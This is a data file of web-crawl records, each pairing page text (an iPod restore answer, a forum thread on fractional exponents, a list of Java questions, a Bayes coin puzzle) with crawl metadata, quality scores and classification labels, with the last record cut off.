id
int64 | text
string | metadata
dict | line_start_n_end_idx
dict | quality_signals
dict | eai_taxonomy
dict | pid
string |
|---|---|---|---|---|---|---|
-6,598,664,712,700,254,000 | purchased used iPod need instructions
I cannot get iPod to unlock, what do I do?Purchased used on ebay
Yanıtlandı! View the answer Ben de bu sorunu yaşıyorum
Bu iyi bir soru mu?
Puan 2
Yorum Ekle
Spread Fixmas Cheer
Get $12 off your purchase of $50 or more with code FIXMAS12
Spread Fixmas Cheer
Get $12 off your purchase of $50 or more with code FIXMAS12
1 Cevap
Filtre ölçütü:
Seçilen Çözüm
First thing to try would be a factory restore in iTunes. That is, of course, assuming your issue is software-related, and not a hardware problem. Plug the iPod into your computer, and open iTunes. Select the iPod from the list of libraries on the left, and there should be a button to restore it to factory settings. This will also wipe all of the songs that are currently on it, if there are any.
Bu yanıt yardımcı oldu mu?
Puan 3
Yorumlar:
I changed "right" to "left". I think that's what you meant.
tarafından
Yes, that is what I meant. Thank you Sterling.
tarafından
You're welcome.
tarafından
Yorum Ekle
Yanıtını ekle
Mary sonsuza kadar minnettar olacak.
İstatistikleri Görüntüle:
Son 24 Saat: 0
Son 7 Gün: 0
Son 30 Gün: 1
Her zaman: 2,015 | {
"url": "https://tr.ifixit.com/Answers/View/22274/purchased+used+iPod+need+instructions",
"source_domain": "tr.ifixit.com",
"snapshot_id": "crawl=CC-MAIN-2018-51",
"warc_metadata": {
"Content-Length": "70023",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:QGXA5YYVISM47BLAOCYFPNOHMVEZ2R5A",
"WARC-Concurrent-To": "<urn:uuid:543af2df-c175-45b8-87f2-baa9e68a7220>",
"WARC-Date": "2018-12-15T18:59:31Z",
"WARC-IP-Address": "75.101.159.182",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:X4MLZOTX577OH3VUF2TUCMCDW3UTIKB2",
"WARC-Record-ID": "<urn:uuid:bba2d4e9-548a-468b-8cae-d923a8acd5e7>",
"WARC-Target-URI": "https://tr.ifixit.com/Answers/View/22274/purchased+used+iPod+need+instructions",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:64fa5da6-4d1e-4708-a62b-157cec9dc410>"
},
"warc_info": "isPartOf: CC-MAIN-2018-51\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for December 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-232-130-137.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
38,
39,
104,
105,
160,
161,
181,
182,
189,
200,
220,
280,
300,
360,
361,
369,
370,
385,
399,
400,
798,
799,
826,
827,
834,
835,
845,
846,
906,
907,
918,
919,
966,
967,
978,
979,
995,
996,
1007,
1008,
1019,
1020,
1034,
1035,
1072,
1098,
1099,
1114,
1115,
1128,
1129,
1143,
1144
],
"line_end_idx": [
38,
39,
104,
105,
160,
161,
181,
182,
189,
200,
220,
280,
300,
360,
361,
369,
370,
385,
399,
400,
798,
799,
826,
827,
834,
835,
845,
846,
906,
907,
918,
919,
966,
967,
978,
979,
995,
996,
1007,
1008,
1019,
1020,
1034,
1035,
1072,
1098,
1099,
1114,
1115,
1128,
1129,
1143,
1144,
1160
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1160,
"ccnet_original_nlines": 53,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.32669323682785034,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.027888450771570206,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.22310757637023926,
"rps_doc_frac_unique_words": 0.6390243768692017,
"rps_doc_mean_word_length": 4.4195122718811035,
"rps_doc_num_sentences": 16,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.725745677947998,
"rps_doc_word_count": 205,
"rps_doc_frac_chars_dupe_10grams": 0.13907285034656525,
"rps_doc_frac_chars_dupe_5grams": 0.13907285034656525,
"rps_doc_frac_chars_dupe_6grams": 0.13907285034656525,
"rps_doc_frac_chars_dupe_7grams": 0.13907285034656525,
"rps_doc_frac_chars_dupe_8grams": 0.13907285034656525,
"rps_doc_frac_chars_dupe_9grams": 0.13907285034656525,
"rps_doc_frac_chars_top_2gram": 0.01324503030627966,
"rps_doc_frac_chars_top_3gram": 0.03752759099006653,
"rps_doc_frac_chars_top_4gram": 0.044150110334157944,
"rps_doc_books_importance": -108.5869369506836,
"rps_doc_books_importance_length_correction": -108.5869369506836,
"rps_doc_openwebtext_importance": -62.681365966796875,
"rps_doc_openwebtext_importance_length_correction": -61.157745361328125,
"rps_doc_wikipedia_importance": -41.332305908203125,
"rps_doc_wikipedia_importance_length_correction": -41.332305908203125
},
"fasttext": {
"dclm": 0.01986330933868885,
"english": 0.6831960678100586,
"fineweb_edu_approx": 1.0642766952514648,
"eai_general_math": 0.012600179761648178,
"eai_open_web_math": 0.0898863673210144,
"eai_web_code": 0.007327680010348558
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.16",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
3,313,458,503,459,836,400 | Why does b^(m/n) = sqrt(n,m)?
• Thread starter split
• Start date
• #1
split
25
0
Why does b^(m/n) = (nsqrt(b))^m?
Hi, as the subject says, why does b^(m/n) = (n√b)^m?
I don't understand how you can multiply a number by itself less than one times.
Thanks.
EDIT: Finally GOT IT RIGHT.
Last edited:
Answers and Replies
• #2
synergy
62
0
b^(m/n)= nã(b^m) "the nth root of b to the m power"
you could also write (nãb)^m
Aaron
• #3
split
25
0
I meant that but I was just thinking about too many things. It's been fixed. I'm asking for an explanation of why that is true.
• #4
StephenPrivitera
363
0
Originally posted by split
Hi, as the subject says, why does b^(m/n) = (n√m)^m?
I don't know that it does. 31/2=(2[squ]1)1=2?
• #5
HallsofIvy
Science Advisor
Homework Helper
43,021
970
The stupid errors just keep piling up don't they!
I take it you mean: "Why is bm/n= n &radic (b)m?"
Let's start with "I don't understand how you can multiply a number by itself less than one times."
You can't. bn is defined as "multiply b by itself n times" only if n is a positive integer (counting number).
However, in that simple situation, we quickly derive the very useful "laws of exponents": bmbn= bm+n and (bm)n= bnm.
We then define bx for other number so that those laws remain true.
For example, IF the laws of exponents are to be true for x= 0, then we must have bn= bn+0= bnb0. As long as b is not 0 we can divide both sides of the equation by bn to bet b0= 1. That is, we MUST define b0= 1 or the laws of exponents will no longer hold.
Now we can see that bn+(-n)= b0= 1. If the laws of exponents are to hold for negative exponents as well, we must have bnb-n= bn+(-n)= 1 or, again dividing both sides of the equation by bn, b-n= 1/bn.
Finally, if (bm)n= bmn is to be true for all numbers, we must have (b1/m)m= b1= b. Since n &radic (b) is define as "the positive number whose nth power is b, we must define b1/m= m &radic (b).
Last edited by a moderator:
• #6
split
25
0
Thanks HallsOfIvy, your explanation was very clear.
And yes, the errors kept piling up! I have fixed everything but the subject (I don't believe it can be changed. Am I wrong?) so if anyone wants to read it in the future it should make sense.
Suggested for: Why does b^(m/n) = sqrt(n,m)?
Replies
9
Views
386
MHB Find N
• Last Post
Replies
3
Views
297
Replies
14
Views
477
MHB F(n)-g(n)
• Last Post
Replies
1
Views
439
Replies
1
Views
219
• Last Post
Replies
10
Views
351
MHB Find n
• Last Post
Replies
2
Views
586
Replies
7
Views
238
• Last Post
Replies
6
Views
628
Replies
12
Views
394
Top | {
"url": "https://www.physicsforums.com/threads/why-does-b-m-n-sqrt-n-m.6630/",
"source_domain": "www.physicsforums.com",
"snapshot_id": "crawl=CC-MAIN-2022-49",
"warc_metadata": {
"Content-Length": "70267",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:MZ2SHBIRQ3JNWXPOM5DEXVZRXSJ7VXYG",
"WARC-Concurrent-To": "<urn:uuid:b62d5d6c-42ea-4c60-9a1e-ff3443151d11>",
"WARC-Date": "2022-12-05T23:38:34Z",
"WARC-IP-Address": "172.67.68.135",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:EJRYT2DUJISCMPA25MOV4ROUL2D3EBSS",
"WARC-Record-ID": "<urn:uuid:d9bdbbb0-2cff-46e3-adae-9d8d54f6af61>",
"WARC-Target-URI": "https://www.physicsforums.com/threads/why-does-b-m-n-sqrt-n-m.6630/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:5e437242-9241-460b-9ba2-f4afe3cf72bd>"
},
"warc_info": "isPartOf: CC-MAIN-2022-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-16\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
30,
31,
56,
71,
78,
84,
87,
89,
122,
123,
182,
183,
263,
264,
272,
273,
301,
303,
316,
317,
337,
338,
345,
353,
356,
358,
410,
439,
445,
447,
454,
460,
463,
465,
593,
595,
602,
619,
623,
625,
626,
627,
654,
713,
714,
760,
762,
769,
780,
796,
812,
819,
823,
873,
874,
924,
925,
1024,
1025,
1135,
1136,
1253,
1254,
1321,
1322,
1578,
1579,
1779,
1780,
1973,
1975,
2003,
2010,
2016,
2019,
2021,
2073,
2074,
2265,
2267,
2268,
2313,
2314,
2322,
2324,
2330,
2334,
2345,
2359,
2367,
2369,
2375,
2379,
2387,
2390,
2396,
2400,
2414,
2428,
2436,
2438,
2444,
2448,
2456,
2458,
2464,
2468,
2482,
2490,
2493,
2499,
2503,
2514,
2528,
2536,
2538,
2544,
2548,
2556,
2558,
2564,
2568,
2582,
2590,
2592,
2598,
2602,
2610,
2613,
2619,
2623
],
"line_end_idx": [
30,
31,
56,
71,
78,
84,
87,
89,
122,
123,
182,
183,
263,
264,
272,
273,
301,
303,
316,
317,
337,
338,
345,
353,
356,
358,
410,
439,
445,
447,
454,
460,
463,
465,
593,
595,
602,
619,
623,
625,
626,
627,
654,
713,
714,
760,
762,
769,
780,
796,
812,
819,
823,
873,
874,
924,
925,
1024,
1025,
1135,
1136,
1253,
1254,
1321,
1322,
1578,
1579,
1779,
1780,
1973,
1975,
2003,
2010,
2016,
2019,
2021,
2073,
2074,
2265,
2267,
2268,
2313,
2314,
2322,
2324,
2330,
2334,
2345,
2359,
2367,
2369,
2375,
2379,
2387,
2390,
2396,
2400,
2414,
2428,
2436,
2438,
2444,
2448,
2456,
2458,
2464,
2468,
2482,
2490,
2493,
2499,
2503,
2514,
2528,
2536,
2538,
2544,
2548,
2556,
2558,
2564,
2568,
2582,
2590,
2592,
2598,
2602,
2610,
2613,
2619,
2623,
2626
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 2626,
"ccnet_original_nlines": 131,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3543955981731415,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.028846150264143944,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.33104395866394043,
"rps_doc_frac_unique_words": 0.4381338655948639,
"rps_doc_mean_word_length": 3.7910749912261963,
"rps_doc_num_sentences": 33,
"rps_doc_symbol_to_word_ratio": 0.008241759613156319,
"rps_doc_unigram_entropy": 5.0001115798950195,
"rps_doc_word_count": 493,
"rps_doc_frac_chars_dupe_10grams": 0.06741572916507721,
"rps_doc_frac_chars_dupe_5grams": 0.1776351034641266,
"rps_doc_frac_chars_dupe_6grams": 0.1776351034641266,
"rps_doc_frac_chars_dupe_7grams": 0.1776351034641266,
"rps_doc_frac_chars_dupe_8grams": 0.09737827628850937,
"rps_doc_frac_chars_dupe_9grams": 0.06741572916507721,
"rps_doc_frac_chars_top_2gram": 0.018726589158177376,
"rps_doc_frac_chars_top_3gram": 0.026752270758152008,
"rps_doc_frac_chars_top_4gram": 0.04280364140868187,
"rps_doc_books_importance": -349.1102294921875,
"rps_doc_books_importance_length_correction": -349.1102294921875,
"rps_doc_openwebtext_importance": -177.6118927001953,
"rps_doc_openwebtext_importance_length_correction": -177.6118927001953,
"rps_doc_wikipedia_importance": -95.78290557861328,
"rps_doc_wikipedia_importance_length_correction": -95.78290557861328
},
"fasttext": {
"dclm": 0.3975933790206909,
"english": 0.9344705939292908,
"fineweb_edu_approx": 2.509345293045044,
"eai_general_math": 0.7388332486152649,
"eai_open_web_math": 0.8628562092781067,
"eai_web_code": 0.00008320999768329784
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "512.0",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": "Algebra"
}
},
"secondary": {
"code": "510.0",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "4",
"label": "Analyze"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-6,139,998,939,928,868,000 | 0
votes
2answers
39 views
How do I read files using the scanner class with a space delimeter?
At school we are learning to code a program that will read a persons full name out of a text document named "Names.txt" . We have to make the name in the folder output the first letter of the first ...
0
votes
1answer
53 views
Formatting/separating names and dates from a string in java?
So essentially what I want to do here is read in a text file line by line and format them like this: Last name, Title, First name, Middle and then the birth/death date like MM/DD/YYYY I read ...
1
vote
3answers
242 views
C++ equivalent of Java's this.getClass().getSimpleName();
In Java, if I want to use the object class' name I can write: String myString = this.getClass().getSimpleName(); What's the C++ equivalent of this? That is, how can I get a string with the name of ...
1
vote
1answer
91 views
Java, a way to use reserved words
Is there a method that allows you to use a keyword as a resource name in Java similar to the method used in C# of adding @ to the start of the word? I found some posts asking this a few years ago and ...
0
votes
1answer
67 views
CSV file to Array in java. Any ideas?
I'm trying to load arrays from CSV file. Here is the code Find non-duplicate items between two arrays with Java Will this work ? ReadFile file = new ReadFile( file_name ); String[ ] aryLines ...
2
votes
1answer
79 views
Blindly get Java class names?
Is there a way to collect java class names(as Strings) on the jvm system path when you know nothing about the context of the classes? I have seen a few similar questions, but all require at least ...
9
votes
1answer
2k views
What's the difference between Name and CanonicalName?
What is the difference between Java's Class.getName() and Class.getCanonicalName()?
-1
votes
2answers
71 views
Make an email list, by entering only recipient names
I want to make a simple code, that prompts you to enter names, separated by comma or just a space, and when you click enter, to take every one word you entered, and put a @gmail.com at the end of it, ...
2
votes
2answers
72 views
Get names of the available members of a Java class
I'm trying to get the member names of a class in Java. For instance, let's say I have the class: class Dog { private int legs = 4; private int ears = 2; } Is there anyway I can get a list ...
0
votes
3answers
4k views
How to get column names from Hibernate query result in Java?
I'm writing a Java app that uses Hibernate to get data, in my app I have an input text area that takes an user typed-in sql command string and run that through Hibernate to get whatever data the user ...
0
votes
2answers
215 views
Why get error message when trying to get column name from Hibernate in Java?
I tried to get column names from Hibernate query in Java, I did some search online and found a solution, but when I tried the code, it gave me error messages : private void executeHQLQuery(String ...
0
votes
2answers
447 views
Java: Sequential sorting names and saving into a Random Access File
I am trying to make a program where I can add a name and it's supposed to be saved in a RandomAccessFile, (alphabetically). Whenever I add a name it gets saved in a file, it's supposed to have at the ...
0
votes
2answers
227 views
Mass produce JTables
I want to make 25 JTables. I generate the table names by doing: for(int i=0; i < 26; i++) { TableNames[i] = "Table" + i + ""; ... How can I go about using these String names in the array ...
7
votes
1answer
6k views
Java FilenameFilter
I have a requirement to get all of the files in a directory that have a specific extension(say, .txt). I should be able to list all of the files that have '.txt' and '.TXT' extension (i.e., it should ...
1
vote
6answers
132 views
Two classes in diffrence packages how to isolate them?
We have to develope a game, where the user can upload their code, for example Rock Paper Scissor. They have to implement some methods from an interface class and we call them in our game Class, ...
3
votes
8answers
4k views
Java find start of file name and extension
HI, I have almost solved this but have now got stuck! What I need to do is look in a folder say.. String path = C://; I then need a loop to see how many files are in that folder say 10. I need to ...
5
votes
6answers
12k views
Create variable names using a loop in Java?
first time poster, long time reader so be gentle with me :) See the following code which works to generate me timestamps for the beginning and end of every month in a financial year. int year = ...
0
votes
2answers
1k views
How to list all class names in the current package with Java?
In my Java project I need to list all class names in the current package, I usually run my app in two different modes : <1> From NetBeans, <2> From an executable jar file packaged by the ...
1
vote
9answers
18k views
Is there away to generate Variables' names dynamically in Java?
Let's say that I need to generate variables to hold some input from the user (I don't know how many they are). Without using Array, ArrayList (and other kind of lists and maps) can my code generate ... | {
"url": "http://stackoverflow.com/questions/tagged/names+java",
"source_domain": "stackoverflow.com",
"snapshot_id": "crawl=CC-MAIN-2014-23",
"warc_metadata": {
"Content-Length": "98470",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:AEJB5SQXDIZHOQCPC4IMAZV6ZR3YJPTF",
"WARC-Concurrent-To": "<urn:uuid:e559badf-866b-4d6b-b6a3-296c04d586bc>",
"WARC-Date": "2014-07-14T10:08:41Z",
"WARC-IP-Address": "198.252.206.16",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:IGWPJPKFHHS56T5YQA6R4CNTB2BK7J6I",
"WARC-Record-ID": "<urn:uuid:97f6af31-6660-47a3-a16b-ec03cd22d4ab>",
"WARC-Target-URI": "http://stackoverflow.com/questions/tagged/names+java",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:308909f4-b316-4008-b6f9-21d63df7373a>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-180-212-248.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-23\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for July 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
2,
8,
17,
26,
27,
95,
96,
298,
300,
306,
314,
323,
324,
385,
386,
581,
583,
588,
597,
607,
608,
666,
667,
868,
870,
875,
883,
892,
893,
927,
928,
1132,
1134,
1140,
1148,
1157,
1158,
1196,
1197,
1392,
1394,
1400,
1408,
1417,
1418,
1448,
1449,
1649,
1651,
1657,
1665,
1674,
1675,
1729,
1730,
1814,
1817,
1823,
1832,
1841,
1842,
1895,
1896,
2100,
2102,
2108,
2117,
2126,
2127,
2178,
2179,
2371,
2373,
2379,
2388,
2397,
2398,
2459,
2460,
2664,
2666,
2672,
2681,
2691,
2692,
2769,
2770,
2970,
2972,
2978,
2987,
2997,
2998,
3066,
3067,
3271,
3273,
3279,
3288,
3298,
3299,
3320,
3321,
3512,
3514,
3520,
3528,
3537,
3538,
3558,
3559,
3763,
3765,
3770,
3779,
3789,
3790,
3845,
3846,
4044,
4046,
4052,
4061,
4070,
4071,
4114,
4115,
4315,
4317,
4323,
4332,
4342,
4343,
4387,
4388,
4586,
4588,
4594,
4603,
4612,
4613,
4675,
4676,
4867,
4869,
4874,
4883,
4893,
4894,
4958,
4959
],
"line_end_idx": [
2,
8,
17,
26,
27,
95,
96,
298,
300,
306,
314,
323,
324,
385,
386,
581,
583,
588,
597,
607,
608,
666,
667,
868,
870,
875,
883,
892,
893,
927,
928,
1132,
1134,
1140,
1148,
1157,
1158,
1196,
1197,
1392,
1394,
1400,
1408,
1417,
1418,
1448,
1449,
1649,
1651,
1657,
1665,
1674,
1675,
1729,
1730,
1814,
1817,
1823,
1832,
1841,
1842,
1895,
1896,
2100,
2102,
2108,
2117,
2126,
2127,
2178,
2179,
2371,
2373,
2379,
2388,
2397,
2398,
2459,
2460,
2664,
2666,
2672,
2681,
2691,
2692,
2769,
2770,
2970,
2972,
2978,
2987,
2997,
2998,
3066,
3067,
3271,
3273,
3279,
3288,
3298,
3299,
3320,
3321,
3512,
3514,
3520,
3528,
3537,
3538,
3558,
3559,
3763,
3765,
3770,
3779,
3789,
3790,
3845,
3846,
4044,
4046,
4052,
4061,
4070,
4071,
4114,
4115,
4315,
4317,
4323,
4332,
4342,
4343,
4387,
4388,
4586,
4588,
4594,
4603,
4612,
4613,
4675,
4676,
4867,
4869,
4874,
4883,
4893,
4894,
4958,
4959,
5160
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 5160,
"ccnet_original_nlines": 151,
"rps_doc_curly_bracket": 0.0005814000032842159,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.38777291774749756,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0393013097345829,
"rps_doc_frac_lines_end_with_ellipsis": 0.1184210479259491,
"rps_doc_frac_no_alph_words": 0.1868995577096939,
"rps_doc_frac_unique_words": 0.3724653124809265,
"rps_doc_mean_word_length": 4.16435432434082,
"rps_doc_num_sentences": 61,
"rps_doc_symbol_to_word_ratio": 0.017467249184846878,
"rps_doc_unigram_entropy": 5.183174133300781,
"rps_doc_word_count": 937,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.03690414875745773,
"rps_doc_frac_chars_dupe_6grams": 0.03690414875745773,
"rps_doc_frac_chars_dupe_7grams": 0.03690414875745773,
"rps_doc_frac_chars_dupe_8grams": 0.01947719044983387,
"rps_doc_frac_chars_dupe_9grams": 0.01947719044983387,
"rps_doc_frac_chars_top_2gram": 0.015376729890704155,
"rps_doc_frac_chars_top_3gram": 0.01793951913714409,
"rps_doc_frac_chars_top_4gram": 0.005638130009174347,
"rps_doc_books_importance": -478.7141418457031,
"rps_doc_books_importance_length_correction": -478.7141418457031,
"rps_doc_openwebtext_importance": -242.08221435546875,
"rps_doc_openwebtext_importance_length_correction": -242.08221435546875,
"rps_doc_wikipedia_importance": -155.21400451660156,
"rps_doc_wikipedia_importance_length_correction": -155.21400451660156
},
"fasttext": {
"dclm": 0.6907493472099304,
"english": 0.9104294180870056,
"fineweb_edu_approx": 1.6625615358352661,
"eai_general_math": 0.13130712509155273,
"eai_open_web_math": 0.11494476348161697,
"eai_web_code": 0.14651602506637573
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "5",
"label": "Social/Forum"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-339,906,456,463,573,250 |
Posts Tagged ‘Bayes’ Theorem’
Monday Math 160
September 8, 2014
Suppose we have four identical-looking coins. Three are fair, but one is biased, with a probability of coming up heads of 3/5. We select one of the four coins at random.
1. If we flip the selected coin twice, and it comes up heads both times, what is the probability that our coin is the biased one?
2. If we flip the selected coin three times, and it comes up heads all three times, what, then, is the probability that our coin is the biased one?
3. Generalize: We have m fair coins and one identical-looking biased coin with probability p of getting heads. If we select one coin at random, and obtain k heads in n flips, what is the probablility P(m,p,n,k) that we have the biased coin?
solution: | {
"url": "https://twistedone151.wordpress.com/tag/bayes-theorem/",
"source_domain": "twistedone151.wordpress.com",
"snapshot_id": "crawl=CC-MAIN-2017-09",
"warc_metadata": {
"Content-Length": "32362",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:SV52T6FH4LVXBHPJ64QJ74IHUGL3JP6V",
"WARC-Concurrent-To": "<urn:uuid:14740dc3-fcbe-4bf8-a210-57ed83061461>",
"WARC-Date": "2017-02-25T15:46:12Z",
"WARC-IP-Address": "192.0.78.12",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:OKZBE2L53I65HFQDHDUEPWM5OYOXSC5F",
"WARC-Record-ID": "<urn:uuid:1b3eb65d-c19f-4dc1-8e5b-97be4abdca99>",
"WARC-Target-URI": "https://twistedone151.wordpress.com/tag/bayes-theorem/",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:999214b6-4733-4dd2-930a-790948c3ae5b>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-10-108.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-09\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for February 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
1,
31,
32,
48,
49,
67,
68,
238,
239,
369,
370,
518,
519,
760,
761
],
"line_end_idx": [
1,
31,
32,
48,
49,
67,
68,
238,
239,
369,
370,
518,
519,
760,
761,
770
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 770,
"ccnet_original_nlines": 15,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.4364641010761261,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.005524860229343176,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.23204420506954193,
"rps_doc_frac_unique_words": 0.4642857015132904,
"rps_doc_mean_word_length": 4.22857141494751,
"rps_doc_num_sentences": 11,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 3.911278009414673,
